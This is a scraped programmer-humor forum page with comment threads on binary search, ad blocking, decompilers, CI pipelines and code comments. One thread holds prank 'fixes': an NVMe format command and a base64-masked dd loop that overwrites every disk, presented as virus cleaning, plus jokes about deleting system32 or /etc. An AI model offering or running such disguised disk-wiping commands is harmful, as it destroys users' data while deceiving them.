There have been multiple accounts created with the sole purpose of posting advertisement posts or replies containing unsolicited advertising.

Accounts which solely post advertisements, or persistently post them may be terminated.

programmer_humor

This magazine is from a federated server and may be incomplete. Browse more on the original instance.

Rosco , in The Perfect Solution

Probably not a good idea to show your API key to everyone…

worldsayshi ,

Yeah encrypt it or at least put on a nsfw tag or something. Gosh. People flaunt their privates like it’s Onlyfans.

Rosco ,

Or at least use an environment variable, it’s not a good practice to have it written in plaintext in your code.

voracitude ,

What do you mean? I just see asterisks.

assembly ,

Same here. I’m pasting my password here and it will encrypt it so no one can see it other than me: *******

MacNCheezus ,
@MacNCheezus@lemmy.today avatar

hunter2

jjjalljs ,

I understood that reference

thanks_shakey_snake ,

Oh cool it works for my password, too.

mrsgreenpotato ,

How do you know it’s your password if all you see is astrisks?

pressanykeynow ,

Your password is seven asterisks, right?

HawlSera , in Programmer tries to explain binary search to the police

Jesus fucking Christ, I know police are dumb, in fact if your IQ is too high you can actually be legally barred from employment as a police officer in the United States of america. Look it up. But fuck incompetence of these Jokers continue to tickle my asshole in a negative way

adrian783 ,

I did look it up and there is only 1 case from 2000 that set the high bar at 125. it’s not really representative of the whole.

GiveMemes ,

125 ain’t even that high like wut. That’s like 3+% of the population lmao

adrian783 ,

it’s top 5%…

cobra89 ,

I fuckin hate cops as much as the next person but people love to spout this fact, but there is literally only 1 police department ever that has been documented doing this, and it was the one police department in Connecticut.

However the court did in fact rule it was legal, yes.

But the way everyone talks about it you’d think this was some super widespread policy that many departments use. And as far as I can tell there’s only ever been the 1 example. It’s the same case that every single article about it refers to.

Kalkaline , in Programmer tries to explain binary search to the police
@Kalkaline@leminal.space avatar

God damn, whoever came up with that is clever. I would have never come up with that on my own.

fsxylo ,

waves magic wand computer science!

systemglitch ,

Honestly you probably do it already without thinking about it when trying to figure out where you left off a video that you never paused.

Or if you ever had VHS tapes, or so e from of disc media… perhaps a cassette when looking for a particular part of a song.

Maybe not as methodical as perfectly breaking it down into halves of halves, but xlos enough to help you pin point what part you are looking for.

Pamasich ,
@Pamasich@kbin.social avatar

I'm pretty sure they were using sarcasm.

Kalkaline ,
@Kalkaline@leminal.space avatar

I’m pretty sure I was serious. I don’t know how people can be that clever. It seems simple once it’s explained, sure, but I wouldn’t be able to come up with that on my own without someone else giving me a problem that points me in that direction.

khannie ,
@khannie@lemmy.world avatar

Studied this in computer science algorithms class waaaaayyy back in 1996 and by golly this one stuck with me. It’s so simple and so effective.

jmcs ,

What if you had to guess a number between 0 and 100 and the other person (or an application) only told you if the number is bigger or smaller? That’s the form that’s usually presented to CS students and most people end up figuring it out on their own. Then the trick is knowing how to generalize it.

acceptable_pumpkin , (edited )

Some security camera systems have this built in. They show snapshots of various times where you choose the total period, say 24 hours. Then you glance through the snapshots that are all displayed at once on the screen and click on the last one where your bike was still there. That will then “zoom in” the timeline and show another set of snapshots, though this time within a smaller total time window. Keep clicking on the last panel with the bike, and it will soon show you the clip of the bike being stolen.

Really helpful to find out when something changed.

dudinax ,

Yeah, there’s no reason it should take an hour no matter how long the tape is.

justJanne ,

If you’ve got 14 billion years, a theft takes a minute, then you need 53 recursion levels of binary search to find the moment of the theft. (14 billion years can be split into about 7.3e15 1-minute segments, 53 levels of binary search allow you to search through 9e15 segments)

That means OP assumed that it’d take 1 minute to decide whether at a certain still frame the theft had already occured or not, to compute the new offset to seek to, and the time it’d take to actually seek the tape to that point.

Not an unreasonable assumption, but a very conservative estimate. Assuming the footage is on an HDD and you’ve got an automated system for binary search, I’d actually assume it’d take 5 seconds for each step, meaning finding a 1min theft on 14 billion years of footage would take 5 minutes.

Anemia ,

According to my napkin math it would take longer than an hour if the tape was ~3.3*10^218 sec long (or three million trillion trillion… (18 trillions) …trillion years). Assuming you have only have two options to choose between but can pick which alternative in in 5 seconds (2^720) and you want to get down to a 1 minute intervall.

So i mean its not impossible to find a tape long enough though it seems unlikely that we would be so off in our estimates of the age of the universe.

ODuffer ,
@ODuffer@lemmy.world avatar

Enhance…

ReplicantBatty ,
SmoothLiquidation ,
Cannacheques ,

Covert zorb ball carrying remote control toy racecar through the HRV system

glibg10b ,

Without binary search, we would not have search engines today

CmdrShepard ,

Works the same for finding a burned out bulb on a string of Christmas lights too.

redcalcium , in We've come a long way baby

Combine this with Chrome enforcing manifest v3 starting at June 2024, YouTube ads will be virtually unblockable on Chrome, even with an ads blocking extension installed because Google will be controlling the ad blocking mechanism used by the ad blocker. They can arbitrarily reduce the max number of the blocking rulesets, how often the extension can update the rulesets, or even elect to skip running any rulesets that target YouTube or Google domains.

words_number ,

Yes, I can’t wait! Firefox usage will skyrocket :D

lseif ,

i hope so, but sadly many users are just stubborn and lazy.

Copatus ,

That’s sort of better for the people who migrate then, no?

If the average user just decides to deal with ads that means it won’t be worth the effort to go after the minority of people who will be AdBlocking

lseif ,

good point

technom ,

They could instead severely cripple or outright block Firefox users. Since we are the minority, it won’t affect them. They will just blame it on Firefox and wash their hands off.

xavi ,

deleted_by_moderator

  • Loading...
  • technom , (edited )

    They can arbitrarily reduce the max number of the blocking rulesets, how often the extension can update the rulesets

    The size is already just 50. Those who think that adblocking is possible with this are fooling themselves.

    or even elect to skip running any rulesets that target YouTube or Google domains.

    If anybody acts surprised when it happens, they’re probably too stupid to be allowed on the web.

    EmergMemeHologram , in JavaScript's days are numbered

    Partitioning by integer secobds is dumb.

    Just assign 0 to the start of time, 1 to the end of time, and every point between is represented by a double precision floating point number.

    For all those who believe time is infinite please apply a logistic transformation to your dates.

    chaorace ,
    @chaorace@lemmy.sdf.org avatar

    Um excuse me time actually already ended in 1991

    interolivary ,
    @interolivary@beehaw.org avatar
    schnurrito ,

    No, that was the world that ended in 2012.

    interolivary , (edited )
    @interolivary@beehaw.org avatar

    please apply a logistic transformation to your dates

    Which is definitely a totally normal and everyday operation that normal people do with dates

    EmergMemeHologram ,

    It’s a little out of the ordinary for now, but for thousands of years dates counted upwards from a negative number, which this new method easily avoids.

    interolivary ,
    @interolivary@beehaw.org avatar

    for thousands of years dates counted upwards from a negative number

    wat

    rekabis ,

    Fun fact: infinities can be different sizes, such that one infinity can be larger than another.

    They’re still infinities, with no end. Just of different absolute sizes. Fun stuff to rabbithole down into if you want to melt your brain on a lazy afternoon.

    CanadaPlus , (edited )

    Even more fun: nobody can agree on how many there are (some people say none!), and mathematics is self-consistent regardless of if you assume certain ones definitely do or definitely don’t exist.

    EmergMemeHologram ,

    My nephew refuses to talk to me because of this.

    He said I smelled like farts, then I said he did times 10, he replied times a hundred, I pulled out the infinity card, then he replied with times infinity plus one, activating my trap card. I sat him down and for 90 minutes, starting with binary finger counting and Cantor’s diagonalisation argument, I rigorously walked him through infinities and Aleph numbers (only the first 2 in detail, I’m not a monster).

    Now he knows the proper retort (not infinity plus one, use Aleph 1). Unfortunately now he’s not sure if numbers are “real” or not because I taught him that natural numbers are the cardinal numbers.

    CanadaPlus ,

    For all those who believe time is infinite please apply a logistic transformation to your dates.

    In what unit? They’re not scale invariant.

    Also in case you’re serious, I’m sure (by the pigeonhole principle) you’ll run out of exponents just about as fast as you would run out of integers.

    EmergMemeHologram ,

    You can derive the date by first taking the largest unit, checking if it makes sense, then moving to a smaller time unit iteratively until the date comes out right.

    14th_cylon ,

    boy do i have a bad news for you… en.wikipedia.org/wiki/Floating-point_arithmetic#A…

    Semi-Hemi-Demigod , in There once was a programmer
    @Semi-Hemi-Demigod@kbin.social avatar

    In days of yore, before Google or even Altavista, you could tell the quality of a team by how many O'Reilly books they had on the shelves.

    corsicanguppy ,

    I should sell mine. Maybe I’ll keep the crab book and the white book, but the latter’s not even an O’Reilly.

    Swedneck , in They Need To Stop Doing This
    @Swedneck@discuss.tchncs.de avatar

    Unionize, people. It’s terrifying how few IT workers are unionized.

    bleistift2 ,

    It’s because we can just leave for better positions.

    Broccoli ,
    @Broccoli@lemmy.world avatar

    As a junior product, hell no.

    Swedneck ,
    @Swedneck@discuss.tchncs.de avatar

    okay, do that then and stop complaining i guess?

    CosmicTurtle , (edited )

    There has been chatter on Blind for the devs and engineering at my company unionizing. It’s a long shot. But I’m all for it.

    WolfhoundRO ,

    It’s because of big pay, highly mobile employees, hiding the real role of the HR and this false sense of security compared to the rest of the workplaces despite all these lay-offs from the big companies. Also, whenever a unionizing attempt happens, the companies go into crackdown mode and have their multitude of ways to either fire you with a bogus reason, remove your post citing “restructuring” or pulling you on a dead career track and demonize you in front of your colleagues with the usual “we care about our employees and everything can already be resolved through HR” speech. And moreover, many of these issues have a direct cause the Work Laws of the respective countries

    Double_A ,
    @Double_A@discuss.tchncs.de avatar

    Unions only make sense when you are easily replaceable as a worker so you don’t have any barganing power on your own. As an individual IT worker you can usually tell your boss to fuck off if things get bad and just look for a new better job…

    cikano ,

    While I completely agree, the meme would not really be different with a unionised workplace

    Kruulos , in Monitor Alignment Alignment Chart
    Rayspekt ,

    Stock exchange broker's home setup.

    lea ,

    So jealous of the foot heater.

    Kite ,

    This would 100% be my setup if I could use more than two monitors. I am incapable of having just one project at at time open, and this would just work so well for me.

    SpaceNoodle , in Its not wrong though

    No, it is wrong. Machine code is not source code.

    over_clox ,

    Never heard of a decompiler I see.

    seliaste ,
    @seliaste@lemmy.blahaj.zone avatar

    A decompiler doesnt give you access to the comments, variable names, which is an important part of every source code

    over_clox ,

    Meanwhile, AI is having a heyday with it…

    arxiv.org/abs/1909.09029

    BaroqueInMind ,
    @BaroqueInMind@kbin.social avatar

    What's cool is that you can interpret the var names yourself and rename them whatever you want.

    seliaste ,
    @seliaste@lemmy.blahaj.zone avatar

    But it is extremely time-consuming. Open source code makes it transparent and easy to read, that’s what it is about: transparency

    newIdentity ,

    A decompiler won’t give you the source code. Just some code that might not even necessarily work when compiled back.

    over_clox ,

    And? Decompilers aren’t for noobs. So what if it gives you variable and function names like A000, A001, etc?

    It can still lead a seasoned programmer where to go in the raw machine code to mod some things.

    over_clox ,

    You’re actually chatting with a hacker that made No-CD hacks.

    amki ,
    @amki@feddit.de avatar

    From the point of view of the decompiler machine code is indeed the source code though

    tastysnacks ,

    Try converting from English to Japanese and back to English.

    over_clox ,

    xor ax, ax

    amki ,
    @amki@feddit.de avatar

    A fancy way to say do nothing is not the same as translating back and forth. Example: Show me the intermediate translation.

    Also we live in a 64bit world now old man

    over_clox ,

    You’re right.

    xor rax, rax

    Karyoplasma ,
    
    <span style="color:#323232;">GF2P8AFFINEINVQB xmm1, xmm2, 10
    </span>
    
    over_clox ,

    Also that instruction does not do nothing, it resets the CPU register to zero without having to access RAM. Far from a NOP instruction.

    SpaceNoodle ,

    Still not the actual source code, bucko.

    over_clox ,

    No, it’s actually better when you can read the machine code.

    Most folks don’t care to recompile the whole thing when all they wanna do is bypass the activation and tracker shit.

    SpaceNoodle ,

    Having access to the source code actually makes reading machine code easier, so you’re also wrong on this entirely different thing you’re going on about.

    over_clox ,

    You’ve clearly never used a disassembler such as HIEW have you? You get the entire breakdown of the assembly code.

    SpaceNoodle ,

    I disassemble binaries daily for work. It’s still not the same as source code.

    over_clox ,

    I didn’t say it was. I just said loosely what the OG meme said, if you know how to read assembly, you know how to read (and write) what some of the code does.

    over_clox ,

    I never said disassembly or decompiling was easier in any way. I’ll agree with you on that, it’s way more difficult.

    Back to the point of the meme though, if you can read assembly, you can read it all.

    SpaceNoodle ,

    You’ve never actually compared source code to its compiled output, have you.

    over_clox ,

    I’ve written drivers in 65 bytes of code. I don’t tend to use high level languages that hide what’s going on behind the scenes.

    olorin99 ,
    @olorin99@artemis.camp avatar

    And even if you had the source code it may not necessarily qualify as open source.

    vox ,
    @vox@sopuli.xyz avatar

    well assembly is technically “source code” and can be 1:1 translated to and from binary, excluding “syntactic sugar” stuff like macros and labels added on top.

    Malfeasant ,

    But those things you’re excluding are the most important parts of the source code…

    257m ,

    By excluded he means macro assemblers which in my mind do qualify as an actual langauge as they have more complicated syntax than instruction arg1, arg2 …

    257m ,

    The code is produced by the compiler but they are not the original source. To qualify as source code it needs to be in the original language it was written in and a one for one copy. Calling compiler produced assembly source code is wrong as it isn’t what the author wrote and their could be many versions of it depending on architecture.

    mindbleach , in Simple trick

    Why’s it need to be temporary, anyway? It’s an airport. Nobody’s sticking around.

    IphtashuFitz ,

    You haven’t “flown” recently, have you?

    mindbleach ,

    Why, did they add a week-long quarantine in baggage check? It’s an airport. The whole point is to show up and leave. Even if the wait lasts longer than the flight.

    If your ass in there longer than 24 hours, the wifi should be considered an apology.

    yumpoopsoup ,

    It lasted 1 hour for me and if you’ve been to a busy airport you can be there for longer than that

    mindbleach ,

    Then why is it one hour?

    shroomato ,

    Unless you’re Tom Hanks

    malloc ,

    Long time ago, it was probably due to overcrowding. Very easy to get shit quality of service once it hits a certain time of day.

    But with advances in wireless technology (backhaul, 5Ghz, MIMO, …) I think that’s no longer the case.

    CodeBlooded , in Who is this "Jenkins" and what now has broken him?
    @CodeBlooded@programming.dev avatar

    Real talk- I agree with this meme as truth.

    The more and more I use CICD tools, the more I see value in scripting out my deployment with shell scripts and Dockerfiles that can be run anywhere, to include within a CICD tool.

    This way, the CICD tool is merely a launch point for the aforementioned deployment scripts, and its only other responsibility is injecting deployment tokens and credentials into the scripts as necessary.

    Anyone else in the same boat as me?

    I’d be curious to hear about projects where my approach would not work, if anyone is willing to share!

    Edit: In no way does my approach to deployment reduce my appreciation for the efforts required to make a CICD pipeline happen. I’m just saying that in my experience, I don’t find most CICD platforms’ features to be necessary.

    wso277 ,

    This is pretty much what we do as well

    All the build logic is coded in python scripts, the jenkins file only defines the stage (with branch restrictions) and calls the respective script function.

    This means it works on all machines and if we need to move away from jenkins integration with a new ci platform would require minimal effort.

    SpaceNoodle ,

    Yeah, except for the Docker part

    gornius ,

    What’s wrong with Docker?

    SpaceNoodle ,

    TBF, the problem isn’t Docker, it’s overused containerization

    CodeBlooded ,
    @CodeBlooded@programming.dev avatar

    I’ve found Docker helpful when I want to use it to build binaries or use CLI tools that may not be available directly on the CICD platform. Also, Docker makes it easier to run the same code on MacOS that I ended up running on a Linux CICD server.

    What would you consider to be overuse of containers?

    xilliah ,

    What about related tools such as viewing artifacts such as for example total memory usage, and graphing that in the browser.

    And sending emails, messages etc in case of a failure or change.

    CodeBlooded ,
    @CodeBlooded@programming.dev avatar

    Most of those things mentioned aren’t bona fide needs for me. Once a developer is deploying their project, they’re watching it go through the pipeline so they can quickly respond to issues and validate that everything in production looks good before they switch contexts to something else.

    I see what you’re saying though, depending on what exactly is being deployed, the policies of your organization, and maybe expectations that developers are working in another context once they kick off a deployment, it could be necessary to have alerting like that. In that case it may be wise to flex some features of your CICD platform (or build a more robust script for deployment that can handle error alerting, which may or may not be worth it).

    xilliah ,

    I come from game dev. We do lots of checks on the data that all kinds of people can screw up. So it’s important these situations are handled automatically with an email to the responsible person. A simple change can break the game, or someone might commit an uncompressed texture so the memory usage jumps up.

    synae ,
    @synae@lemmy.sdf.org avatar

    You’re not advocating against CI like the meme seems to be, but rather for CI builds to be runnable on human’s machines and the results should be same/similar as in when running w/in the CI system. Which is what CI folks want anyway.

    devious ,

    I don’t think there is a single right or wrong answer but to play devils advocate making your CI tooling lightweight orchestration for your scripts that do the majority of the work means you lose the advantages of being able to easily add in third party tools that you want to integrate with your pipeline (quality, security, testing, reporting, auditing, artefact management, alerting, etc). It becomes more complex the more pipelines you are creating while maintaining a consistent set of tooling integrations.

    gandalf_der_12te ,

    Honestly, CI is only meaningful on bigger projects (more than 100 man-hours invested in total). So I most often go without.

    But I do see its point.

    killabeezio ,

    Then you would probably enjoy concourse

    z3n0x , in Sometimes there is a better choice than Javascript
    @z3n0x@feddit.de avatar

    alert(“nyyeehh”);

    unreachable ,
    @unreachable@lemmy.my.id avatar

    furiously clicking non actionable button

    bleistift2 , in HTML with Excel

    Now I want to know what the issue was.

    And the “solution”.

    jaybone ,

    Yeah I’m having a hard time imagining what this could even possibly be about.

    HowManyNimons ,

    Sounds like the boss wanted a grid layout of some kind. Honestly, if they can express themselves in Excel, and they can be made to understand the limitations of responsive Web design, then it’s not so bad. At least it’s a requirement and you don’t have to guess.

    snowsuit2654 ,
    @snowsuit2654@lemmy.blahaj.zone avatar

    I have used Excel to make tags from a table before. Usually just for one off stuff and before I was very familiar with JavaScript.

    E.g. if you have a table of 100 urls you could use excel to easily turn them into a tags using the various text formulas like concat.

    It’s probably never the best tool for the job but sometimes I’ll do stuff in Excel just because I’m very familiar with it.

    To clarify I am not a programmer by trade lol

    computergeek125 ,

    I saw a meme somewhere along the line that Excel is the third best tool for every job.

    thevoidzero ,

    You know how people say “Devil you know is better than God you don’t”?

    Excel is that Devil people know. It’s not the best tool for a lot of stuffs but it let’s people do things.

    I saw a co-worker generate sequence for formula in excel for another cell in excel. They wanted to do average of all January data, instead of averageif/sumif/countif etc, they generated a sequence a1+a13+a25… And used excels’ drag down thing to make the formula. I’m like who could even verify it.

    computergeek125 ,

    Oh for sure

    AProfessional ,

    FWIW many modern text editors just let you modify multiple lines at once.

    Blackmist ,

    I like Sublime Text for this.

    Watching supposedly technical people use Excel to mangle batch SQL statements together makes me cry.

    henfredemars , in What a simple fix

    Instructions unclear. Using Linux.

    Wait a sec I think I found it.

    Gradually_Adjusting ,
    @Gradually_Adjusting@lemmy.world avatar

    If you don’t have system32, it’s fine to delete one from the store

    xmunk ,

    Or find another computer and delete it from that.

    nickb333 ,
    @nickb333@fedia.io avatar

    I found mine in $HOME/.wine32/drive_c/windows/system32

    henfredemars ,

    This didn’t break my whole system but it did break most of the software I value, so mission accomplished!

    nickb333 ,
    @nickb333@fedia.io avatar

    I made a typo in the above. If I correct it you'll be able to break what's left.

    refurbishedrefurbisher ,

    On Linux, it’s sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

    Dark_Dragon ,

    I’m using hdd

    refurbishedrefurbisher ,
    
    <span style="color:#323232;">echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
    </span>
    
    Dark_Dragon ,

    It said ’ Cleaning viruses from computer…" And screen went dark

    refurbishedrefurbisher ,

    That’s normal. That just means the viruses were cleaned from your computer.

    OopsAllTwix ,

    It’s the /etc folder in linux. Just extra crap you don’t need.

    henfredemars ,

    ExTra Crap

    communism ,
    @communism@lemmy.ml avatar

    They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it’s installed.

    Zangoose ,

    Instructions unclear installed Alpine linux

    Johanno , in How programmers comment their code

    I write such comments because I have to.

    Company policy.

    Also we have to specify every line of code and what it should do…

    jas0n ,

    Lol leave. That is so many levels of braindead.

    explodicle ,

    I would smash everything into a handful of overly-complicated lines.

    MystikIncarnate ,

    I loved doing this is school, just trying to mess up my teachers.

    jaybone ,

    Sometimes I think after i retire, I should teach. In the hopes that i could inspire people to write good code, instead of a lot of the garbage i see in the industry. This comment makes me sad.

    MystikIncarnate ,

    I just want to be clear, this was like highschool cs classes. I took things a bit more seriously in college.

    I never wrote messy code or illogical code, or any code that didn’t work. We were learning C++ in those days and if you know anything about C++, you can basically cram an entire program into a single line. You can also do some shorthand stuff for calculations and updates to variables… So while the class was instructed to use whitespace and comments and update variables like “var = var + #” I would do var += #… I wouldn’t comment it, mainly out of hubris.

    I was pretty good at it but I was lazy as all hell with it.

    ulterno ,
    @ulterno@lemmy.kde.social avatar

    I feel like I am going to have to do the same thing in the end, to get my hand-over accepted.
    Should I just copy the line of code and make a comment next to it with:

    
    <span style="font-style:italic;color:#969896;">// It does <paste line of code>
    </span>
    

    CC BY-NC-SA 4.0

    VOwOxel ,

    Do you license every comment of yours? If yes, why? Tbh i’m just curious

    ulterno ,
    @ulterno@lemmy.kde.social avatar

    Not every. The quick, very-low effort ones, I just leave.

    Why:
    I saw another post with “Anti Commercial AI License”, then wen on to read the license and went, “Neat!”.

    • It makes it easier for anyone to decide what to do if they want to use my comment/post (in cases where it actually has something useful)
    • It makes life just a bit harder for people data-mining for AI
      • That way, some data entry worker will probably ask for a raise and probably even get it and maybe some entrepreneur going “AI everywhere!” will think twice.
      • Or there will be a chatbot spouting “Anti Commercial AI License” or “CC By-NC-SA” in their answer text, which would be hilarious.

    CC BY-NC-SA 4.0

    communism ,
    @communism@lemmy.ml avatar

    How are you inserting your signature? is it manually? Do you have some kind of keyboard shortcut to insert it?

    ulterno ,
    @ulterno@lemmy.kde.social avatar

    For now, I have just saved it in my clipboard application, so I copy-paste.
    When it goes out of history, I just open a file, where I have saved it and copy from there. So it’s pretty crude.

    I was hoping that either the KDE Social web interface would add a “Signature” feature or I would pick some Lemmy application that would allow that, but for now it’s just this.

    Perhaps, if I feel like it’s being too frequent, I may set a compose key for it.

    CC BY-NC-SA 4.0

    AlexanderESmith ,

    It's cute that you think data miners give a fuck about the license of anything they scrape.

    ulterno ,
    @ulterno@lemmy.kde.social avatar

    It’s unfortunate that despite explaining as properly as I could, my point was misinterpreted as me relying upon someone caring about licenses.

    CC BY-NC-SA 4.0

    jaybone ,

    // this line increments the value of i by 1

    i++;

    AdNecrias ,

    I hope they get paid per line of code.

    jaybone ,

    I hope i never have to work with you.

    AdNecrias ,

    It’s fine, I wouldn’t want to work with someone who enjoys being forced to comment every line.

  • All
  • Subscribed
  • Moderated
  • Favorites
  • [email protected]
  • random
  • lifeLocal
  • goranko
  • All magazines